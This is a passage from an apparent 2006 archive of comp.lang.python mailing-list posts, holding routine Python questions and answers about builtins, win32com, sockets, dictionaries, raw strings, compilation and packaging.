McDonald) Date: Wed, 25 Oct 2006 14:42:56 -0500 Subject: Any way of adding methods/accessors to built-in classes? Message-ID: <453FBE40.5010700@sbcglobal.net> This is possible with pure Python classes. Just add the method as new attribute of the class. However, that won't work for the builtins. I know that this is somewhat dangerous, and also that I could subclass the builtins, but not being able to do things like '[1,2,3]'.length drives me a little nuts. Python is about the only computer language I use, and I think it's certainly the best of the scripting languages, but there are inconsistencies in the object model and some other things I wish I could fix. If could could modify the builtins this way, I'd be willing to take the risk. Thanks, Ken From michael.pearmain at tangozebra.com Wed Oct 18 12:06:05 2006 From: michael.pearmain at tangozebra.com (Mike P) Date: 18 Oct 2006 09:06:05 -0700 Subject: Win32 python and excel macros In-Reply-To: <1161187257.657252.87000@m73g2000cwd.googlegroups.com> References: <1161180798.760994.111230@k70g2000cwa.googlegroups.com> <1161186121.020753.20810@b28g2000cwb.googlegroups.com> <1161187257.657252.87000@m73g2000cwd.googlegroups.com> Message-ID: <1161187565.132670.60320@f16g2000cwb.googlegroups.com> After just running trying that update it hits the macro perfectly but hten i get an error message after i type in a couple of values.. as per below Traceback (most recent call last): File "", line 148, in ? File ">", line 14, in Run File "C:\Python24\Lib\site-packages\win32com\client\dynamic.py", line 258, in _ApplyTypes_ result = self._oleobj_.InvokeTypes(*(dispid, LCID, wFlags, retType, argTypes) + args) pywintypes.com_error: (-2147352567, 'Exception occurred.', (0, None, None, None, 0, -2146827284), None) I know you said you didn't know much about python, so if any other experts outthere can give me a clue.. i'll be very appreciative Mike From ardsrk at gmail.com Tue Oct 31 06:07:47 2006 From: ardsrk at gmail.com (ArdPy) Date: 31 Oct 2006 03:07:47 -0800 Subject: python, threading and a radio timer In-Reply-To: <1162261441.729997.309220@k70g2000cwa.googlegroups.com> References: <1162261441.729997.309220@k70g2000cwa.googlegroups.com> Message-ID: <1162292867.739502.86460@e64g2000cwd.googlegroups.com> Renato wrote: > Dear all, > > I found this nifty article on how to record your favourite radio show > using cron and mplayer: > http://grimthing.com/archives/2004/05/20/recording-streaming-audio-with-mplayer/ > > Because I couldn't get the date in the filename (and was too lazy to > look into sh/bash manuals), I decided to use Python. It was a good > choice, because I decided to improve the timer - learning some more > Python along the way! > > So, the idea is: > - cron runs the script at a specific time > - the script starts mplayer, and will keep checking the clock until > it's time to kill mplayer > - after mplayer has exited, oggenc is started to turn the raw WAV into > ogg > - and finally the remaining WAV is deleted > > This basic setting is quite easy, and I used os.spawnvp(os.P_WAIT,...), > along with another CRON entry to kill mplayer. > > But then I got more ambitious: I wanted the script to keep checking if > mplayer was alive - in case the connection goes down. Moreover, I would > rather have the script stop mplayer than cron. > > At this point, I thought I should get some professional help... :) What > is the right way to go? Would threads be overkill? If so, where can I > go about looking for process control/management without delving into > complex daemon architectures? > > So, rather than asking for code, I'm looking for guidance - this is a > didactic experience! > > Cheers, > > Renato I would suggest you take a look at Python 'commands' module. The module lets you run Unix commands by taking them as parameters to function calls. That is all I can say with my level of expertise. From 06virg at gmail.com Fri Oct 6 05:03:07 2006 From: 06virg at gmail.com (virg) Date: 6 Oct 2006 02:03:07 -0700 Subject: help on pickle tool In-Reply-To: References: <1160110375.999662.268560@k70g2000cwa.googlegroups.com> <1160124108.779860.236940@i3g2000cwc.googlegroups.com> Message-ID: <1160125387.706686.70090@h48g2000cwc.googlegroups.com> At the server, based on client request it does some computations , it sends the result as dictionary (serialized) to the client. hanumizzle wrote: > On 6 Oct 2006 01:41:48 -0700, virg <06virg at gmail.com> wrote: > > Hi, > > The data is simple dictionary with one or more keys. If i use YAML at > > the client (webui) do i have to change serialisation method to YAML at > > server also. Without changing serialisation method at server, can i use > > any of the deserialisation methods at the client. We cannot change the > > serialisation methods at the server since it is not under our control. > > Oh, poopy. > > What do you have at the server end? > > -- Theerasak From gry at ll.mit.edu Mon Oct 2 21:50:40 2006 From: gry at ll.mit.edu (George Young) Date: Mon, 2 Oct 2006 21:50:40 -0400 Subject: loop beats generator expr creating large dict!? Message-ID: <20061002215040.65003374.gry@ll.mit.edu> [Python 2.5c2 (r25c2:51859, Sep 17 2006, 19:57:40), sparc solaris] I am puzzled that creating large dicts with an explicit iterable of key,value pairs seems to be slow. I thought to save time by doing: palettes = dict((w,set(w)) for w in words) instead of: palettes={} for w in words: palettes[w]=set(w) where words is a list of 200000 english words. But, in fact, timeit shows the generator expression takes 3.0 seconds and the "for" loop 2.1 seconds. Am I missing something? For good measure, I did an (old fashioned?!) list comprehension: palettes = dict([(w,set(w)) for w in words]) which took 3.1 seconds. So it seems that, by either list comprehension or generator expression, creating a large dictionary all at once is slower than looping to set individual entries. This seems illogical. Shouldn't dict be able to take advantage of having all it's entries at once to create itself faster? -- George Young -- "Are the gods not just?" "Oh no, child. What would become of us if they were?" (C.S. Lewis) From fredrik at pythonware.com Fri Oct 20 03:46:47 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Fri, 20 Oct 2006 09:46:47 +0200 Subject: Downloading images with python References: Message-ID: Hans Olav Hygen wrote: > myfile = open("P:\Jobb\Prosjekt\Maanedsoversikt\myfile.jpg", "wb") > myfile.write(s) > myfile.close make that "myfile.close()" > But the images get cropped at the bottom. files are closed when the program exits (unless it does so in an uncontrolled way), so I assume you were trying to access the file while your script was still running. From cologuns at xs4all.nl Thu Oct 12 10:46:19 2006 From: cologuns at xs4all.nl (Martijn de Munnik) Date: Thu, 12 Oct 2006 16:46:19 +0200 (CEST) Subject: Compile python on Solaris 64bit Message-ID: <24983.217.195.243.130.1160664379.squirrel@webmail.xs4all.nl> Hi, I want to compile python on my solaris 10 system (amd 64 bit). I did the following: ./configure --prefix=/opt/64/python make which resulted in this error: "Include/pyport.h", line 730: #error: "LONG_BIT definition appears wrong for platform (bad gcc/glibc config?)." so I edited the file and removed the error line and did a configure and make again after a make distclean. after a new make I get this error complaining about 32 and 64 bit. ld: fatal: file Parser/acceler.o: wrong ELF class: ELFCLASS32 when I look to the cc statements none of my CFLAGS are passed while these are in my environment; CC=cc CFLAGS=-xO3 -mt -fsimple=1 -ftrap=%none -nofstore -xbuiltin=%all -xlibmil -xlibmopt -xtarget=opteron -xarch=amd64 -xregs=no%frameptr CXX=CC CXXFLAGS=-xO3 -mt -fsimple=1 -ftrap=%none -nofstore -xbuiltin=%all -xlibmil -xlibmopt -xtarget=opteron -xarch=amd64 -xregs=no%frameptr LDFLAGS=-xtarget=opteron -xarch=amd64 anybody succesfully compiled python on solaris? thanks, martijn From jcoleman at franciscan.edu Sun Oct 29 16:18:59 2006 From: jcoleman at franciscan.edu (John Coleman) Date: 29 Oct 2006 13:18:59 -0800 Subject: Observation on "Core Python Programming" In-Reply-To: <1162152161.321947.257870@m73g2000cwd.googlegroups.com> References: <1162135496.144591.304640@b28g2000cwb.googlegroups.com> <1162152161.321947.257870@m73g2000cwd.googlegroups.com> Message-ID: <1162156739.376402.239880@k70g2000cwa.googlegroups.com> A is not ommitted from DBECAFG - it just appears in a non-standard order. If the book simply ommitted functions then it would be a shocking ommission. As it is, it is just a curious way of sequencing topics. Functions are in chapter 11 out of 23 chapters - sounds like the "core" of the book to me. Chun does emphasize the first-class status of functions in Python - something which is fairly important to me since I have dabbled on and off with functional programming the last few years (mostly SML) and am interested in seeing the extend to which Python is genuinely "multi-paradigm" - able to blend the functional and imperative (and OO) paradigms together. -John Coleman Nick Vatamaniuc wrote: > I would consider that an omission. Functions are very important in > Python. I think the user/reader should see the _def_ and _class_ > statement fairly soon in the introduction. The name of the book is > thus somewhat misleading, because functions are at the "core" of > Python. > > Functions should be right there with the integers, strings, files, > lists and dictionaries. Another important point to stress, in my > opinion, is that functions are first-class objects. In other words > functions can be passes around just like strings and numbers! > > -Nick Vatamaniuc > > > John Coleman wrote: > > Greetings, > > My copy of the second edition of Chun's "Core Python Programming" > > just arrived from Amazon on Friday. What really jumped out at me is an > > interesting feature about how it sequences its topics, namely, > > (user-defined) functions are not introduced until chapter 11, fully 400 > > pages into the book. This contrasts strongly with a traditional > > "Introduction to language X" book which has a chapter sequence roughy > > like: > > > > Chapter 1) Intro - Hello World > > Chapter 2) Variables > > Chapter 3) If, if-else > > Chapter 4) Loops > > Chapter 5) Functions and/or subroutines > > > > The exact details vary from book to book and language to language of > > course, but usually the above topics are covered in the first 100-150 > > pages since it is hard to do anything interesting until all of these > > tools are under your belt. Chun's book by contrast is able, on the > > strength of Python's built-in functions, to cover a fair amount of > > relatively interesting things (dictionaries, file IO, exception > > handling, etc.) before introducing user-defined functions. > > > > I don't want to read too much into this, but the mere fact that it is > > possible to write a Python book in this fashion seems to confirm the > > "batteries are included" philosophy of Python. Perhaps there is less > > need to learn how to roll your own batteries as soon as possible. > > > > -John Coleman From vedran_dekovic at yahoo.com Sun Oct 1 10:11:08 2006 From: vedran_dekovic at yahoo.com (vedran_dekovic at yahoo.com) Date: 1 Oct 2006 07:11:08 -0700 Subject: SHTOOM Message-ID: <1159711868.690391.66400@i42g2000cwa.googlegroups.com> Hello, I am a new shtoom user,but I have one problem.I was download last shtoom source and when I write example: >>> from shtoom.app.phone import Phone Traceback (most recent call last): File "", line 1, in -toplevel- from shtoom.app.phone import Phone ImportError: No module named app.phone ..I think I need file app.py,where to I find that file??? If you have that file please send me: vedran_dekovic at yahoo.com THANKS!!!!!!!!!!!!!!!!!!!!!!!!!!!! From bjobrien62 at gmail.com Thu Oct 5 15:11:07 2006 From: bjobrien62 at gmail.com (SpreadTooThin) Date: 5 Oct 2006 12:11:07 -0700 Subject: socket client server... simple example... not working... In-Reply-To: References: <1160056909.927803.251790@i42g2000cwa.googlegroups.com> Message-ID: <1160075467.308635.259120@i42g2000cwa.googlegroups.com> Jean-Paul Calderone wrote: > On 5 Oct 2006 07:01:50 -0700, SpreadTooThin wrote: > > [snip] > > > >Jean-Paul many thanks for this and your effort. > >but why is it every time I try to do something with 'stock' python I > >need another package? > > Maybe you are trying to do things that are too complex :) > No quite the contrary.. Which is why I want to keep it simple... > >By the time I've finished my project there are like 5 3rd party add-ons > >to be installed. > > I don't generally find this to be problematic. > I have because it usually means makeing on many platforms... Most of the time this is the nightmare. > >I know I'm a python newbie... but I'm far from a developer newbie and > >that can be a recipe for > >disaster. > > Not every library can be part of the standard library, neither can the > standard library satisfy every possible use-case. Relying on 3rd party > modules isn't a bad thing. > No but the less number of lines of code I have to support the better. > >The stock socket should work and I think I've missed an > >obvious bug in the code other > >than checking the return status. > > > It was indeed as you said I was trying to read/write on the server socket not the client socket. (of the server module) > Well, I did mention one bug other than failure to check return values. > Maybe you missed it, since it was in the middle. Go back and re-read > my response. > Thanks again. B. > Jean-Paul From email at christoph-haas.de Sun Oct 22 03:35:36 2006 From: email at christoph-haas.de (Christoph Haas) Date: Sun, 22 Oct 2006 09:35:36 +0200 Subject: question: script to input data into a webpage and then retrieve the result? In-Reply-To: <002401c6f5a0$2b5aeef0$0302a8c0@MENG> References: <002401c6f5a0$2b5aeef0$0302a8c0@MENG> Message-ID: <200610220935.36854.email@christoph-haas.de> On Sunday 22 October 2006 08:06, mxywp wrote: > Could someone help me with this or share an example script with me? > > Here is what I want to accomplish: > (1) input 3 values into 3 boxes on a web page > (2) there is an authentication code each time you access this page and I > have to write this code into the fourth box on the same page (3) click > "submit" button > (4) this web page will turn into a page with a table having a value > calculated from my inputs (5) extract this value into a local file > (6) repeat the above for 12000 times. > > I would really appreciate it if someone can tell me how to do it using > python script. I am new to python web programming. Dark side way: http://www.idyll.org/~t/www-tools/twill.html Christoph P.S.: One posting is usually sufficient to get a reply. From http Wed Oct 25 11:57:35 2006 From: http (Paul Rubin) Date: 25 Oct 2006 08:57:35 -0700 Subject: web-based SSH References: Message-ID: <7xpscg9ymo.fsf@ruckus.brouhaha.com> Astan Chee writes: > I was looking for a web-based SSH client (something like > www.port42.com..but for some reason it doesnt work..can anyone verify http://www.google.com/search?q=ssh+applet From python at hope.cz Fri Oct 27 10:17:40 2006 From: python at hope.cz (Lad) Date: 27 Oct 2006 07:17:40 -0700 Subject: Test Message-ID: <1161958660.540574.147540@e3g2000cwe.googlegroups.com> Test From python.list at tim.thechases.com Fri Oct 27 15:27:45 2006 From: python.list at tim.thechases.com (Tim Chase) Date: Fri, 27 Oct 2006 14:27:45 -0500 Subject: What's the best IDE? In-Reply-To: <1161976496.903281.302940@i42g2000cwa.googlegroups.com> References: <1161818092.830293.141880@k70g2000cwa.googlegroups.com> <1161976496.903281.302940@i42g2000cwa.googlegroups.com> Message-ID: <45425DB1.7040308@tim.thechases.com> >> What's your favorite IDE? > > emacs > >> What do you like about it? > > It does just about everything. It can edit just about every kind of > code I use, read my mail, connection to irc ... everything. Well, > except order pizza, but I think it might be possible to make that > happen as well. Well, if it doesn't have it built in, you can always shell out to use this program: http://www.beigerecords.com/cory/pizza_party/ :) -tkc From simon at brunningonline.net Tue Oct 17 09:55:44 2006 From: simon at brunningonline.net (Simon Brunning) Date: Tue, 17 Oct 2006 14:55:44 +0100 Subject: Looking for assignement operator In-Reply-To: References: Message-ID: <8c7f10c60610170655g6a595cb1vf985cd24f9ba6278@mail.gmail.com> On 10/17/06, Alexander Eisenhuth wrote: > Hello, > > is there a assignement operator, that i can overwrite? Soirry, no, assignment is a statement, not an operator, and can't be overridden. -- Cheers, Simon B simon at brunningonline.net http://www.brunningonline.net/simon/blog/ From python.list at tim.thechases.com Tue Oct 17 16:57:01 2006 From: python.list at tim.thechases.com (Tim Chase) Date: Tue, 17 Oct 2006 15:57:01 -0500 Subject: Python Web Site? In-Reply-To: <36WdnfRBgYet3ajYnZ2dnUVZ_q-dnZ2d@comcast.com> References: <36WdnfRBgYet3ajYnZ2dnUVZ_q-dnZ2d@comcast.com> Message-ID: <4535439D.9070005@tim.thechases.com> > Is there a problem with the Python and wxPython web sites? > I cannot seem to get them up Sounds like someone needs some pyagra... (grins, ducks, and runs) the-red-or-blue-pill'ly yers, -tkc From sjmachin at lexicon.net Sun Oct 8 09:03:28 2006 From: sjmachin at lexicon.net (John Machin) Date: 8 Oct 2006 06:03:28 -0700 Subject: Bizzare lst length problem In-Reply-To: <1160311703.533544.164250@i42g2000cwa.googlegroups.com> References: <1160305922.469319.138520@i42g2000cwa.googlegroups.com> <1160311703.533544.164250@i42g2000cwa.googlegroups.com> Message-ID: <1160312607.909565.95150@i3g2000cwc.googlegroups.com> Ben wrote: > Ah... my list is a string. That explains the len() results, but not why > it is a string in the dirst place. > > I have a dictionary containing a number of instances of the following > class as values: > > class panel: > mops =[] > > def __init__(self,number,level,location,mops,matrix): > self.number=number > self.level=level > self.location=location > self.mops=mops > self.matrix=matrix > > > abve mops is a list, yet when I access it it is a string... > Well, if you are going to spare us from reading all of your code, you'll have to debug it yourself. The clue that Fredrik gave you is *not* of the use-once-and-discard variety -- when you are having problems with the pixies changing your lists into strings, you need to sprinkle prints of type(pixie_prey) and repr(pixie_prey) at salient points in your code; as first statement in that __init__ method would be a good start. From steve at holdenweb.com Sat Oct 7 03:18:48 2006 From: steve at holdenweb.com (Steve Holden) Date: Sat, 07 Oct 2006 08:18:48 +0100 Subject: dictionary containing a list In-Reply-To: <1160172055.962140.180110@b28g2000cwb.googlegroups.com> References: <1160170679.625037.300000@c28g2000cwb.googlegroups.com> <1160172055.962140.180110@b28g2000cwb.googlegroups.com> Message-ID: John Machin wrote: > Ben wrote: > >>Hello... >> >>I have set up a dictionary into whose values I am putting a list. I >>loop around and around filling my list each time with new values, then >>dumping this list into the dictionary. Or so I thought... >> >>It would appear that what I am dumping into the dictionary value is >>only a pointer to the original list, so after all my iterations all I >>have is a dictionary whose every value is equal to that of the list the >>final time I looped around :-( >> >>Is there a way to acheive what I was attempting ? I have done something >>almost identical with classes in a list before, and in that case a new >>instance was created for each list entry... >> >> >>I hope this makes some sense, and doesn't seem to head bangingly >>simple... >> > > > Do you consult your physician over a video link while wearing a ninja > costume down an unlit coal mine at midnight? > > Please consider the possibility that your description of what you think > your code might be doing is not enough for diagnosis. > > You may need to supply: > (1) a listing of your code > (2) a small amount of input data > e.g. [(1, 'foo'), (42, 'bar'), (1, 'zot')] > (3) the output you expect from that input: > e.g. {1: ['foo', 'zot'], 42: ['bar']} > One of the fascinating things about c.l.py is that sometimes a questin will be posted that makes almost no sense to me, and somebody else will casually read the OP's mind, home in on the issue and provide a useful and relevant answer. In this case it seems transparent to me, though probably not to you, that Ben's problem is rootd in the following behaviour, well-known in python but frequently confusing to noobs: >>> a = [1, 2, 3] >>> firstlist = a >>> a.append('another element') >>> firstlist [1, 2, 3, 'another element'] >>> Ben probably needs to look at creating copies using the list() type: >>> a = [1, 2, 3] >>> firstlist = list(a) >>> a.append('another element') >>> firstlist [1, 2, 3] >>> or perhaps, in omore complex circumstances, using the copy module. regards Steve -- Steve Holden +44 150 684 7255 +1 800 494 3119 Holden Web LLC/Ltd http://www.holdenweb.com Skype: holdenweb http://holdenweb.blogspot.com Recent Ramblings http://del.icio.us/steve.holden From grflanagan at yahoo.co.uk Sat Oct 14 16:29:14 2006 From: grflanagan at yahoo.co.uk (Gerard Flanagan) Date: 14 Oct 2006 13:29:14 -0700 Subject: broken links on effbot.org Message-ID: <1160857754.125562.255020@e3g2000cwe.googlegroups.com> The links here seem to be broken: http://effbot.org/zone/element-index.htm#documentation I'm getting: sorry, /zone/page.cgi?page=element does not exist sorry, /zone/page.cgi?page=pythondoc-elementtree-ElementTree does not exist It was working two days ago, possibly yesterday (13th Oct). Gerard From mrquantum at holon.at Wed Oct 4 05:59:07 2006 From: mrquantum at holon.at (mrquantum) Date: Wed, 04 Oct 2006 11:59:07 +0200 Subject: string: __iter__()? Message-ID: <7e8bf$452385eb$506d0b9f$12642@news.chello.at> Hello! Just for curiosity i'd like to know why strings don't support the iteration protocoll!? Is there some deeper reason for this? >>> hasattr('SomeString', '__iter__') False In Python 2.5 it's actually simple to obtain one: >>> myIter = (c for c in 'SomeString') >>> myIter.next() 'S' Thanks for info! Chris From duncan.booth at invalid.invalid Tue Oct 3 07:09:22 2006 From: duncan.booth at invalid.invalid (Duncan Booth) Date: 3 Oct 2006 11:09:22 GMT Subject: Raw strings and escaping References: Message-ID: "Matthew Warren" wrote: > I would expect this to work, > > rawstring=r'some things\new things\some other things\' > > But it fails as the last backslash escapes the single quote. > > ..although writing this I think I have solved my own problem. Is \' > the only thing escaped in a raw string so you can place ' in a raw > string? Although I thought the correct thing in that case would be; > > rawstring=r"rawstring'with single-quote" You cannot end *any* string literal with an odd number of backslash characters. The "r" prefix changes how the escape sequences are interpreted after the string literal has been parsed, it doesn't change how the literal itself is actually parsed. See the Python Reference Manual, 2.4.1: > When an "r" or "R" prefix is present, a character following a > backslash is included in the string without change, and all > backslashes are left in the string. For example, the string literal > r"\n" consists of two characters: a backslash and a lowercase "n". > String quotes can be escaped with a backslash, but the backslash > remains in the string; for example, r"\"" is a valid string literal > consisting of two characters: a backslash and a double quote; r"\" is > not a valid string literal (even a raw string cannot end in an odd > number of backslashes). Specifically, a raw string cannot end in a > single backslash (since the backslash would escape the following quote > character). Note also that a single backslash followed by a newline is > interpreted as those two characters as part of the string, not as a > line continuation. From apardon at forel.vub.ac.be Fri Oct 6 06:57:01 2006 From: apardon at forel.vub.ac.be (Antoon Pardon) Date: 6 Oct 2006 10:57:01 GMT Subject: What value should be passed to make a function use the default argument value? References: <1159906617.790518.323860@m7g2000cwm.googlegroups.com> <7xhcyk2u1z.fsf@ruckus.brouhaha.com> Message-ID: On 2006-10-06, Fredrik Lundh wrote: > Antoon Pardon wrote: > >> IMO this is a very natural thought process for a python programmer. >> So a python programmer seeing the first will tend to expect that >> last call to work. > > on the other hand, if a Python programmer *writes* some code instead; > say, a trivial function like: > > def calculate(a, b): > # approximate; gonna have to fix this later > return a + b * 1.2 > > chances are that he did *not* intend this to be called as > > calculate(a=1, b=2) > > or, for that matter, > > calculate(b=2, a=1) > > or > > calculate(1, b=2) Well maybe he didn't intend that, but how is the reader of the documentation to know that? The reader can only go by how things are documented. If those are not entirely consistent with the intend of the programmer, that is not the readers fault. > just because the Python calling machinery currently happens to allow > that. And chances are that he did *not* expect to be stuck with those > argument names for the foreseeable future, just because someone else > decided to interpret things in the most literal way they possibly could. And how it the reader of the documentation to know about the expectations of the programmer? It isn't the readers fault if those expectations aren't easily inferred from the documenation. > Python 2.X doesn't provide convenient support for distinguishing between > accidental and intentional argument names when you implement a function; > that's a wart, not a feature, and it may be addressed in 3.X. Again that is not the fault of those that read the documentation. If this discinction can't be easily made in python 2.X, you can't fault the reader for coming to a conclusion that seems to follow rather naturally from how python currently works. -- Antoon Pardon From fulvio at tm.net.my Wed Oct 18 09:54:02 2006 From: fulvio at tm.net.my (Fulvio) Date: Wed, 18 Oct 2006 21:54:02 +0800 Subject: a little about regex In-Reply-To: <1161160990.381368.53770@m73g2000cwd.googlegroups.com> References: <1161160990.381368.53770@m73g2000cwd.googlegroups.com> Message-ID: <200610182154.02094.fulvio@tm.net.my> *********************** Your mail has been scanned by InterScan MSS. *********************** On Wednesday 18 October 2006 16:43, Rob Wolfe wrote: > |def filter(adr): ? ?# note that "filter" is a builtin function also > |? ? import re I didn't know it, but my function _is_ starting by underscore (a bit of localization :) ) > |? ? allow = re.compile(r'.*(?|$)') ?# negative lookbehind > |? ? deny = re.compile(r'.*\.com\.my(>|$)') Great, it works perfectly. I found my errors. I didn't use r ahead of the patterns and i was close to the 'allow' pattern but didn't give positive result and KregexEditor reported wrong way. This specially because of '<' inside the stream. I thing that is not a normal regex input. It's only python valid. Am I right? More details are the previous thread. F From jackokring at gmail.com Sat Oct 14 09:14:17 2006 From: jackokring at gmail.com (jacko) Date: 14 Oct 2006 06:14:17 -0700 Subject: Standard Forth versus Python: a case study In-Reply-To: <1160793654.283357.282450@b28g2000cwb.googlegroups.com> References: <1160629438.895503.225980@c28g2000cwb.googlegroups.com> <1160793654.283357.282450@b28g2000cwb.googlegroups.com> Message-ID: <1160831657.319809.114670@m73g2000cwd.googlegroups.com> Paddy wrote: > werty wrote: > > Apples/oranges ? programmers are making very little $$ today . > > Thats software ! No one is makin money on obsolete Forth , > > so why a comparisom ? > > > > Ultimately the best OpSys will be free and millions of lines of code > > obsoleted . Because no one can protect intellectual property , its > > simply too costly for a Government to do this . > > > > Notice the crypto fiasco , the USA govt forbad export of SSL and > > in short order Australia gave the world a free SSLeasy ! > > > > This is software . No one will , for long , own software . > > Microsoft and Linux will die in 24 months . No hardware will > > produce money/profits using them . > > > > Because we have a new hardware competitor , that obsoletes the BIOS > > chip , North bridge/South bridge USB helpers , NICs . > > No mo PNP (Plug_and_Pray) . > > In 2 chips ( CPU /SoC and LCD controller) it will be faster than > > a PC . 100's have allready written HDD drivers and haven't yet > > free'd them . But when others give free , what good do it to > > hold yours ! You look stupid selling what others improve and > > free . Trying to sell what others find easy to create ! > > Intel made hardware too hard to program , ARM is easy . > > Python wont last on ARM , for WCE and Linux will be tossed . > > A simpler structured method will be used to customise > > Browsers . There will be 2 columns , one on left will be main/orig > > but on the Right will have hyperlink result . This way ya dont have > > to go back to compare ! side by side . > > Text editors will also work this way . You will read orig in left > > columns > > and 'edit'/annotate your stuff to the Right columns . > > > > Sun microsystems et all ( the ones we seldom think about ) will > > all be obsoleted , bankrupted , their hardware surplused . > > No more h/w servers . > > There will be no high speed 64 bit boxes in the future . > > The Pocket PC will do work you could not imagine ! > > All will have 100 GB HDD , VGA LCD , USBH/USBD , WIFI N > > and no WERTY keyboard ! full GUI ... > > ethernet and firewire and rs232 will die > > > > Why not "see" the future ? > > No Linux ,no WXP , no C+ , no PC ..... > > Hah! This is the output from a program and I claim my prize. > :-) werty bot has to claim the prize to prove intelligence challange ;-) From jjl at pobox.com Tue Oct 3 14:32:15 2006 From: jjl at pobox.com (John J. Lee) Date: 03 Oct 2006 19:32:15 +0100 Subject: Pythonic API design: detailed errors when you usually don't care References: <1159807538.579131.198670@e3g2000cwe.googlegroups.com> Message-ID: "Simon Willison" writes: > Hi all, > > I have an API design question. I'm writing a function that can either > succeed or fail. Most of the time the code calling the function won't > care about the reason for the failure, but very occasionally it will. > > I can see a number of ways of doing this, but none of them feel > aesthetically pleasing: > > 1. > > try: > do_something() > except HttpError: > # An HTTP error occurred > except ApplicationError: > # An application error occurred > else: > # It worked! > > This does the job fine, but has a couple of problems. The first is that > I anticipate that most people using my function won't care about the > reason; they'll just want a True or False answer. Their ideal API would > look like this: > > if do_something(): > # It succeeded > else: > # It failed > > The second is that the common path is success, which is hidden away in > the 'else' clause. This seems unintuitive. It's hard to answer this without knowing any of the real details you've hidden from us: I'm not sure I believe you that the code at the call site necessarily needs to know whether the function call succeeded at all. Perhaps the preferred usage might sometimes be: do_something() Exceptions raised may be caught (or not, if the application does not find that necessary), elsewhere than at the call site -- they can be caught further up the stack. You are of course aware of this fact, but your discussion seems to imply that this crucial piece of knowledge was not active in your mind when you wrote it. I think Python users are right to "default to" raising exceptions. There's a nice label for this practice: http://c2.com/cgi/wiki?SamuraiPrinciple """ Samurai Principle Return victorious, or not at all. """ :-) (though I imagine that term is used with subtly different meanings by different people...) As others have suggested, often it is useful if most exceptions that can be raised by a callable are instances of a single class. This can be achieved through inheritance (make them all derive from one class) or composition (stuff the various original exceptions into a wrapper exception). John From hanumizzle at gmail.com Fri Oct 6 01:09:36 2006 From: hanumizzle at gmail.com (hanumizzle) Date: Fri, 6 Oct 2006 01:09:36 -0400 Subject: A Universe Set In-Reply-To: <45242F8B.5070008@freakmail.de> References: <1159933937.606857.173770@k70g2000cwa.googlegroups.com> <45242F8B.5070008@freakmail.de> Message-ID: <463ff4860610052209s345a3ee0q56579117d5dc35f1@mail.gmail.com> On 10/4/06, Wildemar Wildenburger wrote: > Jorgen Grahn wrote: > > - the wildcard object, which compares equal to everything else > > - infinite xrange()s > > - the black hole function 'def f(*args): pass' > > - the identity function 'def f(x): return x' > > Any use cases for these? I used the last one in my .emacs (but it had a lot to with stupid emacs lisp). It might also be useful for some theoretical aspects of FP and mathematical applications (maybe! IANAE!!). See: http://en.wikipedia.org/wiki/Fixed_point_%28mathematics%29 -- Theerasak From thomas.weholt at gmail.com Tue Oct 24 08:40:18 2006 From: thomas.weholt at gmail.com (Thomas W) Date: 24 Oct 2006 05:40:18 -0700 Subject: Tutorial on setuptools Message-ID: <1161693618.560803.272260@h48g2000cwc.googlegroups.com> I'm might just be dumb, but I cannot get the hang of usting setuptools based on the docs at http://peak.telecommunity.com/DevCenter/setuptools. Is there a simple example available showing how to pack a few modules, a few scripts, some resources files ( images ) and list a few dependencies ? I've searched google and the links I found seemed to be dead or not about setuptools at all, but as I allready mentioned; I might be loosing my mind over here so ... From bdesth.quelquechose at free.quelquepart.fr Sat Oct 21 17:52:28 2006 From: bdesth.quelquechose at free.quelquepart.fr (Bruno Desthuilliers) Date: Sat, 21 Oct 2006 23:52:28 +0200 Subject: Inheriting property functions In-Reply-To: <1161384736.205021.275130@f16g2000cwb.googlegroups.com> References: <1161383286.543397.46700@m73g2000cwd.googlegroups.com> <1161384736.205021.275130@f16g2000cwb.googlegroups.com> Message-ID: <453a9244$0$8197$426a74cc@news.free.fr> mdsteele at gmail.com a ?crit : (snip) > The trouble is that get_a and set_a are attributes of the _class > object_ A. Instances of A (and hence, instances of B) will see them, > but the class B will not, Yes it does: >>> class A(object): ... aa = "aa" ... >>> class B(A):pass ... >>> B.aa 'aa' >>> > so you have to point to them explicitly with > A.get_a and A.set_a. Actually, while the solution is good, the explanation is wrong. From tejovathi.p at gmail.com Fri Oct 13 23:21:04 2006 From: tejovathi.p at gmail.com (Teja) Date: 13 Oct 2006 20:21:04 -0700 Subject: terminate execfile In-Reply-To: <1160795552.494568.263530@k70g2000cwa.googlegroups.com> References: <1160795552.494568.263530@k70g2000cwa.googlegroups.com> Message-ID: <1160796064.637081.75250@e3g2000cwe.googlegroups.com> Teja wrote: > How to terminate execfile() in the middle of its execution. Any > pointers ??? > Its very urgent please........ > > > Thanks > Teja.P Can I raise an interrupt using PyErr_SetInterrupt??? Is so , does any one know how to do it? From fredrik at pythonware.com Thu Oct 26 03:29:47 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Thu, 26 Oct 2006 09:29:47 +0200 Subject: Fatal Python error: deallocating None In-Reply-To: <7.0.1.0.0.20061025222550.05f38068@yahoo.com.ar> References: <1161822535.445257.143360@i3g2000cwc.googlegroups.com> <7.0.1.0.0.20061025222550.05f38068@yahoo.com.ar> Message-ID: Gabriel Genellina wrote: > Mmm, it appears that one of these C extensions isn't managing the ref > count correctly - perhaps there is a return Py_None without a previous > Py_INCREF? If None were returned in certain functions to indicate > failure or something exceptional - and not a regular condition - that > would explain that it doesn't fail very often. > Unfortunately I don't know how to debug this - except by carefully > inspecting the C code :( inserting print sys.getrefcount(None) at strategic locations in your code will usually help you identify the culprit. (last time I stumbled upon this was in an earlier release of "sqlite", which leaked one Py_None every time you connected to the database. our application contained a separate task that created it's own database connection every 15:th minute or so, to calculate some statistics. and a fresh Python interpreter contains 500-600 references to Py_None...) From paddy3118 at netscape.net Sun Oct 15 05:14:46 2006 From: paddy3118 at netscape.net (Paddy) Date: 15 Oct 2006 02:14:46 -0700 Subject: problem with the 'math' module in 2.5? In-Reply-To: References: <1160883192.973842.240290@m7g2000cwm.googlegroups.com> <1160886206.594661.321230@e3g2000cwe.googlegroups.com> Message-ID: <1160903686.538807.201310@i42g2000cwa.googlegroups.com> Ben Finney wrote: > "Chris" writes: > > > Oh, ok that explains it. Is that why my 16-bit calculator gives me > > 0? > > Your calculator is probably doing rounding without you asking for it. > > Python refuses to guess what you want, and gives you the information > available. > Hi Ben, I don't think Python should take too much credit here. Floating point calcuations are subject to rounding. Sometimes it shows. - Pad. From noway at sorry.com Sat Oct 7 03:49:59 2006 From: noway at sorry.com (Giovanni Bajo) Date: Sat, 07 Oct 2006 